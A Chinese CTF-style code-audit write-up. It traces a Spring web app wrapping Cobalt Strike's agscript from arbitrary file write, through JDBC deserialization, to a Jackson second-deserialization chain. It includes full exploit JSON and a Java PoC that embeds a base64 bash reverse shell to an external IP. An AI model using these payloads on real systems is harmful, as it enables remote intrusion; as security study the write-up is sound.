CS代码审计分析任意文件覆盖漏洞
路由主要代码如下,IndexController.java
package org.example.ez_web.controller;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
/* loaded from: IndexController.class */
public class IndexController {
@RequestMapping({"/"})
public String index() {
return "index";
}
@RequestMapping({"/RunCSByMySelf"})
public String RunCS(Model model) throws Exception {
String C2ip = new BufferedReader(new InputStreamReader(new ProcessBuilder("hostname", "-I").start().getInputStream())).readLine().split("\\s+")[0];
model.addAttribute("C2ip", String.join("\n", C2ip));
if (new File("CSRun.sh").exists()) {
return "ip";
}
String content = "cd /tmp/CS;./teamserver " + C2ip + " 123456 &";
try {
BufferedWriter writer = new BufferedWriter(new FileWriter("CSRun.sh"));
writer.write(content);
if (writer != null) {
if (0 != 0) {
writer.close();
} else {
writer.close();
}
}
} catch (Exception e) {
e.printStackTrace();
}
new ProcessBuilder("chmod", "+x", "./CSRun.sh").start().waitFor();
new ProcessBuilder("./CSRun.sh").start();
return "ip";
}
}
这段就是写入文件然后在靶机本地启动脚本运行了一个CS
DatabaseConnect.java
package org.example.ez_web.utils;
import com.jayway.jsonpath.JsonPath;
import com.jayway.jsonpath.Predicate;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Properties;
import java.util.stream.Collectors;
/* loaded from: DatabaseConnect.class */
public class DatabaseConnect {
private String url;
private String ip;
private String port;
private String dbname;
private Connection connection;
public DatabaseConnect() throws Exception {
String json = (String) Files.lines(Paths.get("/tmp/config.json", new String[0])).collect(Collectors.joining(System.lineSeparator()));
this.ip = (String) JsonPath.read(json, "$.ip", new Predicate[0]);
this.port = (String) JsonPath.read(json, "$.port", new Predicate[0]);
this.dbname = (String) JsonPath.read(json, "$.dbname", new Predicate[0]);
this.url = "jdbc:mysql://" + this.ip + ":" + this.port + "/" + this.dbname;
}
public Connection connect() throws SQLException {
if (this.connection == null || this.connection.isClosed()) {
try {
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile", "false");
properties.setProperty("allowUrlInLocalInfile", "false");
properties.setProperty("allowLoadLocalInfileInPath", "");
properties.setProperty("user", "root");
properties.setProperty("password", "root");
Class.forName("com.mysql.jdbc.Driver");
this.connection = DriverManager.getConnection(this.url, properties);
} catch (ClassNotFoundException e) {
throw new SQLException("MySQL 驱动加载失败", e);
} } return this.connection;
}}
jdbc数据库连接用的是参数拼接如果可控文件内容就会存在漏洞,解释一下字段读取的方法
-
JsonPath.read
方法:- 这是 JsonPath 库提供的静态方法,用于从 JSON 文档中提取数据。
- 第一个参数是 JSON 文档(通常是一个
String
或JSONObject
对象)。 - 第二个参数是 JsonPath 表达式,用于指定要提取的字段。
- 第三个参数(
new Predicate[0]
)是可选参数,通常用于添加过滤条件。
-
字段提取:
-
ScriptType
:提取 JSON 中的$.type
字段。 -
CSIp
:提取 JSON 中的$.data.ip
字段。 -
CSPort
:提取 JSON 中的$.data.port
字段。 -
CSUserName
:提取 JSON 中的$.data.username
字段。 -
CSPassWord
:提取 JSON 中的$.data.password
字段。
-
- 示例 JSON: 假设 JSON 数据如下:
{
"type": "exampleType",
"data": {
"ip": "192.168.1.1",
"port": "8080",
"username": "admin",
"password": "123456"
}
}
check.java
package org.example.ez_web.utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtNewMethod;
/* loaded from: CheckClass.class */
public class CheckClass {
public CheckClass() throws Exception {
CtClass ctClass0 = ClassPool.getDefault().get("com.mysql.jdbc.ResultSetImpl");
ctClass0.removeMethod(ctClass0.getDeclaredMethod("getBytes"));
ctClass0.addMethod(CtNewMethod.make("public byte[] getBytes(int columnIndex) throws java.lang.Exception {\n byte[] data = this.getBytes(columnIndex, false);\n java.io.ByteArrayInputStream bytesIn = new java.io.ByteArrayInputStream(data);\n java.io.ObjectInputStream objIn = new org.example.ez_web.utils.NewObjectInputStream(bytesIn);\n objIn.readObject();\n return data;\n}", ctClass0));
ctClass0.toClass();
}}
这个工具类实使用 CtNewMethod.make
方法定义新的方法并添加到类中,并且新写入的方法有反序列化漏洞,
该类在jdbc进行sql语句执行时候会触发,而我们的doScript路由就会执行SQL查询
ConnectController.java
// Source code is decompiled from a .class file using FernFlower decompiler.
package org.example.ez_web.controller;
import com.jayway.jsonpath.JsonPath;
import com.jayway.jsonpath.Predicate;
import java.io.File;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.Scanner;
import org.example.ez_web.utils.DatabaseConnect;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@Controller
@RequestMapping({"/connect"})
public class ConnectController {
static String AgScriptPath = "/tmp/CS";
static String ListenerType = "windows/beacon_http/reverse_http";
public ConnectController() {
}
@RequestMapping({"/index"})
public String index() {
return "connect/index";
}
@RequestMapping(
value = {"/doScript"},
method = {RequestMethod.POST}
)
public String doScript(@RequestBody String json, Model model) throws Exception {
String ScriptType = (String)JsonPath.read(json, "$.type", new Predicate[0]);
String CSIp = (String)JsonPath.read(json, "$.data.ip", new Predicate[0]);
String CSPort = (String)JsonPath.read(json, "$.data.port", new Predicate[0]);
String CSUserName = (String)JsonPath.read(json, "$.data.username", new Predicate[0]);
String CSPassWord = (String)JsonPath.read(json, "$.data.password", new Predicate[0]);
Process process = null;
String query = "INSERT INTO cs_Type (Type) VALUES (?)";
try {
Connection connect = (new DatabaseConnect()).connect();
Throwable var11 = null;
try {
PreparedStatement ps = connect.prepareStatement(query);
Throwable var13 = null;
try {
ps.setString(1, ScriptType);
ps.executeUpdate();
} catch (Throwable var63) {
var13 = var63;
throw var63;
} finally {
if (ps != null) {
if (var13 != null) {
try {
ps.close();
} catch (Throwable var62) {
var13.addSuppressed(var62);
}
} else {
ps.close();
}
}
}
} catch (Throwable var68) {
var11 = var68;
throw var68;
} finally {
if (connect != null) {
if (var11 != null) {
try {
connect.close();
} catch (Throwable var61) {
var11.addSuppressed(var61);
}
} else {
connect.close();
}
}
}
} catch (Exception var70) {
var70.printStackTrace();
}
String SocksPort;
String beaconid;
ProcessBuilder pb;
if (ScriptType.equals("&beacon_shell")) {
SocksPort = (String)JsonPath.read(json, "$.data.cmd", new Predicate[0]);
beaconid = (String)JsonPath.read(json, "$.data.beaconid", new Predicate[0]);
pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "beacon_shell", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, beaconid, SocksPort});
pb.start();
} else if (ScriptType.equals("&create_http_listener")) {
SocksPort = (String)JsonPath.read(json, "$.data.ListenerIp", new Predicate[0]);
beaconid = (String)JsonPath.read(json, "$.data.ListenerName", new Predicate[0]);
String ListenerPort = (String)JsonPath.read(json, "$.data.ListenerPort", new Predicate[0]);
ProcessBuilder pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "create_http_listener", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, beaconid, ListenerType, SocksPort, ListenerPort});
pb.start();
} else if (ScriptType.equals("&get_beacons")) {
ProcessBuilder pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "get_beacons", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath});
pb.start();
} else {
ProcessBuilder pb;
if (ScriptType.equals("&get_listener_info")) {
SocksPort = (String)JsonPath.read(json, "$.data.ListenerName", new Predicate[0]);
pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "get_listener_info", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, SocksPort});
pb.start();
} else if (ScriptType.equals("&create_socks")) {
SocksPort = (String)JsonPath.read(json, "$.data.SocksPort", new Predicate[0]);
beaconid = (String)JsonPath.read(json, "$.data.beaconid", new Predicate[0]);
pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "create_socks", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, beaconid, SocksPort});
pb.start();
} else {
SocksPort = (String)JsonPath.read(json, "$.data.ScriptContent", new Predicate[0]);
pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "run_script", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, SocksPort});
pb.start();
}
}
StringBuilder content = new StringBuilder();
try {
Scanner scanner = new Scanner(new File("/tmp/result.txt"));
Throwable var78 = null;
try {
while(scanner.hasNextLine()) {
content.append(scanner.nextLine()).append("\n");
}
} catch (Throwable var64) {
var78 = var64;
throw var64;
} finally {
if (scanner != null) {
if (var78 != null) {
try {
scanner.close();
} catch (Throwable var60) {
var78.addSuppressed(var60);
}
} else {
scanner.close();
}
}
}
} catch (Exception var66) {
var66.printStackTrace();
}
beaconid = String.join("\n", content.toString());
model.addAttribute("pythonOutput", beaconid);
return "connect/output";
}
}
通过读文件得到对应参数后会运行index.py文件,我们跟进去看一下
index.py
import sys
from script.striker import CSConnector
command_type = sys.argv[1]
with CSConnector(
cs_host=sys.argv[2],
cs_port=sys.argv[3],
cs_user=sys.argv[4],
cs_pass=sys.argv[5],
cs_directory=sys.argv[6]) as cs:
output = ""
if(command_type == "beacon_shell"):
beaconid = sys.argv[7]
CSCmd = sys.argv[8]
output = cs.beacon_shell(beaconid,CSCmd)
elif(command_type == "create_http_listener"):
ListenerName = sys.argv[7]
ListenerType = sys.argv[8] #后面固定了,懒得改了
ListenerIp = sys.argv[9]
ListenerPort = sys.argv[10]
output = cs.create_http_listener(ListenerName,ListenerIp,ListenerPort,ListenerIp)
elif(command_type == "get_beacons"):
output = cs.get_beacons()
elif(command_type == "get_listener_info"):
ListenerName = sys.argv[7]
output = cs.get_listener_info(ListenerName)
elif(command_type == "create_socks"):
beaconid = sys.argv[7]
SocksPort = sys.argv[8]
output = cs.create_socks(beaconid, SocksPort)
else:
ScriptContent = sys.argv[7]
output = cs.run_script(ScriptContent)
with open("/tmp/result.txt","w") as file:
file.write(str(output))
file.close()
获取命令传入的参数,创建cs实例,按照源码格式填写表单,即可发送对应数据。任何一个服务器的teamserver服务都是可以被靶机连接的,执行对应type的命令可以拿到teamserver相应的结果
接着我们查看CSConnector该类的源码
import pexpect
import getpass
from os import path
from os.path import abspath
from re import findall, escape, MULTILINE
import base64
from time import sleep
from collections import defaultdict
from script.sleepy import wrap_command, deserialize, convert_to_oneline
from enum import Enum
class ArtifactType(Enum):
DLL = "dll"
EXE = "exe"
POWERSHELL = "powershell"
PYTHON = "python"
RAW = "raw"
SVCEXE = "svcexe"
VBSCRIPT = "vbscript"
class CSConnector:
def __init__(self, cs_host, cs_user=None, cs_pass=None, cs_directory="./", cs_port=50050):
self.cs_host = cs_host
if not cs_user or not cs_pass or not cs_port:
agproperties = self.parse_aggressor_properties()
if cs_host in agproperties:
cs_user = agproperties[cs_host]["user"]
cs_port = agproperties[cs_host]["port"]
cs_pass = agproperties[cs_host]["password"]
self.cs_user = cs_user + "_striker"
if not cs_pass:
self.cs_pass = getpass.getpass("Enter Cobalt Strike password: ")
else:
self.cs_pass = cs_pass
self.cs_port = cs_port
self.cs_directory = cs_directory
self.aggscriptcmd = "'{}/agscript'".format(self.cs_directory)
self.cs_process = None
def __enter__(self) -> 'CSConnector':
self.connectTeamserver()
return self
def __exit__(self, type, value, tb):
self.disconnectTeamserver()
def generateMSBuild(
self,
agscriptPath: str,
listener: str,
outputPath: str = './',
staged: bool = False,
x64: bool = True
):
shellcode = self.generateShellcode(listener, staged=staged, x64=x64)
if shellcode:
encoded = base64.b64encode(shellcode)
if x64:
arch = "64"
else:
arch = "32"
if staged:
filename = 'staged'
else:
filename = 'stageless'
templateFile = f'Helpers/msBuild/artifact_{arch}.xml'
templatePath = path.join(agscriptPath, templateFile)
filename = path.join(outputPath, f'{filename}_{arch}.xml')
with open(templatePath, 'rt') as read_file:
data = read_file.read()
data = data.replace('%%DATA%%', encoded.decode())
with open(filename, 'wt') as write_file:
write_file.write(data)
def generateShellcode(self, listener: str, staged: bool = False, x64: bool = True) -> bytes:
return self.generatePayload(listener, ArtifactType.RAW, staged=staged, x64=x64)
def generatePayload(
self,
listener: str,
artifact_type: 'ArtifactType',
staged: bool = False,
x64: bool = True,
exit: str = '',
callmethod : str = ''
) -> bytes:
if x64:
arch = "x64"
else:
arch = "x86"
if staged:
function = "artifact_stager"
cmd = f"return base64_encode(artifact_stager('{listener}', '{artifact_type.value}', '{arch}'))"
else:
if len(callmethod) > 0 and len(exit) > 0:
cmd = f"return base64_encode(artifact_payload('{listener}', '{artifact_type.value}', '{arch}', '{exit}', '{callmethod}'))"
else:
cmd = f"return base64_encode(artifact_payload('{listener}', '{artifact_type.value}', '{arch}'))"
encoded_bytes = self.ag_get_object(cmd, timeout=30000)
return base64.b64decode(encoded_bytes)
def hostFile(
self,
file_path: str,
site: str = None,
port: int = 80,
uri: str = '/hosted.txt',
mime_type: str = 'text/plain',
description: str = 'Autohosted File',
use_ssl: bool = False,
sleep_time: int = 2
) -> str:
if not site:
site = self.get_local_ip()
if site:
site = f"\"{site}\""
else:
site = "localip()"
else:
site="\"{}\"".format(site)
sites = self.get_sites()
for a_site in sites:
site_type = a_site.get('Type')
if site_type == 'page':
site_host = a_site.get('Host')
if f"\"{site_host}\"" == site:
site_uri = a_site.get('URI')
if site_uri == uri:
self.killHostedFile(port=port, uri=uri)
if use_ssl:
link = "https://{}:{}{}".format(site.strip('\"'), port, uri)
else:
link = "http://{}:{}{}".format(site.strip('\"'), port, uri)
if use_ssl:
use_ssl = "true"
else:
use_ssl = "false"
if file_path[0] != '/':
file_path = abspath(file_path)
file_path = f"'{file_path}'"
multiline = f"""
$handle = openf({file_path});
$content = readb($handle, -1);
closef($handle);
site_host({site}, {port}, "{uri}", $content, "{mime_type}", "{description}", {use_ssl});
"""
self.ag_sendline_multiline(multiline, sleep_time=sleep_time)
return link
def get_local_ip(self) -> str:
command = "return localip()"
return self.ag_get_object(command)
def get_listener_info(self,name) -> list:
command = f'return listener_info("{name}")'
return self.ag_get_object(command)
def get_beacons(self) -> list:
command = "return beacons()"
return self.ag_get_object(command)
def create_http_listener(self,name,ip,port,return_ip) -> list:
command = f'listener_create("{str(name)}", "windows/beacon_http/reverse_http","{str(ip)}","{str(port)}","{str(return_ip)}")'
return self.ag_get_object(command)
def beacon_shell(self,id,cmd) -> list:
command = f'bshell("{id}", "{cmd}")'
return self.ag_get_object(command)
def get_listener_test_info(self,name) -> list:
command = f'listener_info("{name}")'
return self.ag_get_object(command)
def create_socks(self,id,port) -> list:
command = f'return bsocks("{str(id)}","{str(port)}")'
return self.ag_get_object(command)
def run_script(self,script_content):
command = f"{str(script_content)}"
return self.ag_get_object(command)
def connectTeamserver(self):
if not path.exists("{}{}".format(self.cs_directory, "/cobaltstrike.jar")):
raise Exception("Error: Cobalt Strike JAR file not found")
command = "{} {} {} {} {}".format(self.aggscriptcmd,
self.cs_host,
self.cs_port,
self.cs_user,
self.cs_pass)
self.cs_process = pexpect.spawn("{} {} {} {} {}".format(self.aggscriptcmd,
self.cs_host,
self.cs_port,
self.cs_user,
self.cs_pass), cwd=self.cs_directory)
if not self.cs_process.isalive():
raise Exception("Error connecting to CS team server! Check config and try again.")
try:
self.cs_process.expect(r'\x1b\[4maggressor\x1b\[0m>', timeout=5)
self.send_ready_command()
except (pexpect.exceptions.TIMEOUT, pexpect.exceptions.EOF):
print(self.cs_process.before.decode())
raise Exception("EOF encountered") from None
def send_ready_command(self):
cmd = 'on ready { println("Successfully" . " connected to teamserver!"); }'
expect = '.*Successfully connected to teamserver!.*'
self.ag_get_string(cmd, expect=expect)
def disconnectTeamserver(self):
if self.cs_process:
self.cs_process.close()
else:
print("CS was already disconnected! Hopefully you already knew this.")
def ag_sendline(self, cmd, script_console_command='e', sleep_time: int = 0):
if '' == cmd:
full_cmd = "{}".format(script_console_command)
else:
full_cmd = "{} {}".format(script_console_command, cmd)
self.cs_process.sendline(full_cmd)
sleep(sleep_time)
return full_cmd
def ag_sendline_multiline(self, multiline: str, script_console_command: str = 'e', sleep_time: int = 0):
oneline = convert_to_oneline(multiline)
return self.ag_sendline(oneline, script_console_command=script_console_command, sleep_time=sleep_time)
def ag_get_string_multiline(self, multiline: str, script_console_command: str = 'e', expect: str = r'\r\n\x1b\[4maggressor\x1b\[0m>', timeout: int = -1, sleep_time: int = 0) -> str:
oneline = convert_to_oneline(multiline)
return self.ag_get_string(oneline, script_console_command=script_console_command, expect=expect, timeout=timeout, sleep_time=sleep_time)
def ag_get_string(self, cmd: str, script_console_command: str = 'e', expect: str = r'\r\n\x1b\[4maggressor\x1b\[0m>', timeout: int = -1, sleep_time: int = 0) -> str:
full_cmd = self.ag_sendline(cmd, script_console_command=script_console_command, sleep_time=sleep_time)
self.cs_process.expect(escape(full_cmd), timeout=timeout)
self.cs_process.expect(expect, timeout=timeout)
before = self.cs_process.before.decode()
return before
def ag_get_object_multiline(self, multiline: str, script_console_command: str = 'e', expect: str = r'\r\n\x1b\[4maggressor\x1b\[0m>', timeout: int = -1, sleep_time: int = 0):
oneline = convert_to_oneline(multiline)
return self.ag_get_object(oneline, script_console_command=script_console_command, expect=expect, timeout=timeout, sleep_time=sleep_time)
def ag_get_object(self, cmd: str, script_console_command: str = 'e', expect: str = r'\r\n\x1b\[4maggressor\x1b\[0m>', timeout: int = -1, sleep_time: int = 0) -> str:
wrapped = wrap_command(cmd)
match = self.ag_get_string(wrapped, script_console_command=script_console_command, expect=expect, timeout=timeout, sleep_time=sleep_time)
base64_regex = r"^(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{4})$"
parse = findall(base64_regex, match, MULTILINE)
if parse:
return deserialize(parse[0])
else:
raise Exception(f"Base64 regex found no match on {match[:50]}") from None
def parse_aggressor_properties(self, aggprop=None):
connections = defaultdict(dict)
if not aggprop:
homedir = path.expanduser("~")
aggprop= f"{homedir}/.aggressor.prop"
with open(aggprop, "r") as file:
for line in file.readlines():
if "connection.profiles." in line:
regexes = [
r"connection\.profiles\.(.*?)\.user=(.*)",
r"connection\.profiles\.(.*?)\.password=(.*)",
r"connection\.profiles\.(.*?)\.port=(.*)"
]
keys = [
"user",
"password",
"port"
]
for regex, key in zip(regexes, keys):
matches = findall(regex, line)
if matches:
match = matches[0]
ip, value = match
connection = connections[ip]
connection[key] = value
return connections
def parseArguments():
parser = ArgumentParser()
parser.add_argument("-t", "--teamserver", help="the hostname or IP address of the teamserver", required=True)
parser.add_argument("-u", "--user", help="the user to connect to the teamserver as (_striker will be added)", default=environ.get('USER'))
# TODO: Make this requirement optional and if not provided, secure prompt for password
parser.add_argument("-p", "--password", help="the password for the teamserver, if not provided, you will be prompted", default=None)
parser.add_argument("-P", "--port", help="the port for the teamserver, default is 50050", default=50050)
parser.add_argument("-j", "--javadir", help="the path to the directory containing the Cobalt Strike JAR file", default="./")
args = parser.parse_args()
return args
def main():
args = parseArguments()
with CSConnector(
args.teamserver,
cs_user=args.user,
cs_pass=args.password,
cs_directory=args.javadir,
cs_port=args.port
) as cs:
pass
if __name__ == '__main__':
from argparse import ArgumentParser
from os import environ
main()
经过源码分析或者项目readme可以得知此项目是调用的cs的agscript来控制CS服务端
接着跟踪发现执行的agscript脚本,比如beacon_shell利用beaconid指定beacon执行相应命令agscript
CS官方文档可以参考 文档地址:Functions
只要我们可以控制command这个参数的值,我们就可以执行任意agscript脚本代码,回到index.py确实发现参数可控
with CSConnector(
cs_host=sys.argv[2],
cs_port=sys.argv[3],
cs_user=sys.argv[4],
cs_pass=sys.argv[5],
cs_directory=sys.argv[6]) as cs:
output = ""
if(command_type == "beacon_shell"):
beaconid = sys.argv[7]
CSCmd = sys.argv[8]
output = cs.beacon_shell(beaconid,CSCmd)
elif(command_type == "create_http_listener"):
ListenerName = sys.argv[7]
ListenerType = sys.argv[8] #后面固定了,懒得改了
ListenerIp = sys.argv[9]
ListenerPort = sys.argv[10]
output = cs.create_http_listener(ListenerName,ListenerIp,ListenerPort,ListenerIp)
elif(command_type == "get_beacons"):
output = cs.get_beacons()
elif(command_type == "get_listener_info"):
ListenerName = sys.argv[7]
output = cs.get_listener_info(ListenerName)
elif(command_type == "create_socks"):
beaconid = sys.argv[7]
SocksPort = sys.argv[8]
output = cs.create_socks(beaconid, SocksPort)
else:
ScriptContent = sys.argv[7]
output = cs.run_script(ScriptContent)
with open("/tmp/result.txt","w") as file:
file.write(str(output))
file.close()
跟踪到run_script方法发现就是可控的脚本内容
def run_script(self,script_content):
command = f"{str(script_content)}"
return self.ag_get_object(command)
我们阅读文档的Functions篇章,可以发现cs是可以利用agscript脚本进行木马生成的, 比如:
$data = artifact("my listener", "exe");
$handle = openf(">out.exe");
writeb($handle, $data);
closef($handle);
而我们只要把文件名和data值改成自定义值就可以造成一个任意文件写入漏洞,而我们之前看到jdbc连接是通过读文件获取的参数拼接,那么我们便可以利用此漏洞写入/tmp/config.json
文件,完全控制url字段。
Jdbc反序列化配合jackson的二次反序列化链
接下来就可以里打jdbc的反序列化,checkclass中对mysql类的getBytes做了一下waf,其实就是变相的给反序列化ban了俩类,需要打二次反序列化绕过。
看一下maven依赖发现可以打jackson二次反序列化
整体思路如下:
agscript任意文件写入覆盖/tmp/config.json =>
自定义config内容触发jdbc反序列化 =>
自定义恶意mysql服务器打jackson的二次反序列化链
agscript任意文件写入覆盖/tmp/config.json 的payload如下
{
"type": "&123",
"data": {
"ip": "127.0.0.1",
"port": "50050",
"username": "aaa",
"password": "123456",
"ListenerName": "test",
"ScriptContent": "$data = \"{'ip':'ip','port':'3306','dbname':'test?maxAllowedPacket=655360&allowUrlInLocalInfile=true&detectCustomCollations=true&autoDeserialize=true'}\";$handle = openf(\">/tmp/config.json\");writeb($handle,$data);closef($handle);"
}
}
注意:写入的agscript脚本内容需要符合json格式不然不会被读取
访问/connect/doScript触发jdbc反序列化
接下来是恶意mysql服务器打jackson的二次反序列化链
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
public class SignedObjectBAVEPoC
{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
ClassPool pool2 = ClassPool.getDefault();
CtClass ctClass = pool2.makeClass("a");
CtClass superClass = pool2.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAgIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjM3LjE3My84OTk5IDA+JjEn}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "bbb");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
setFieldValue(val2, "val", node);
System.out.println(Base64.getEncoder().encodeToString(serialize(val2)));
} public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
成功打入内存马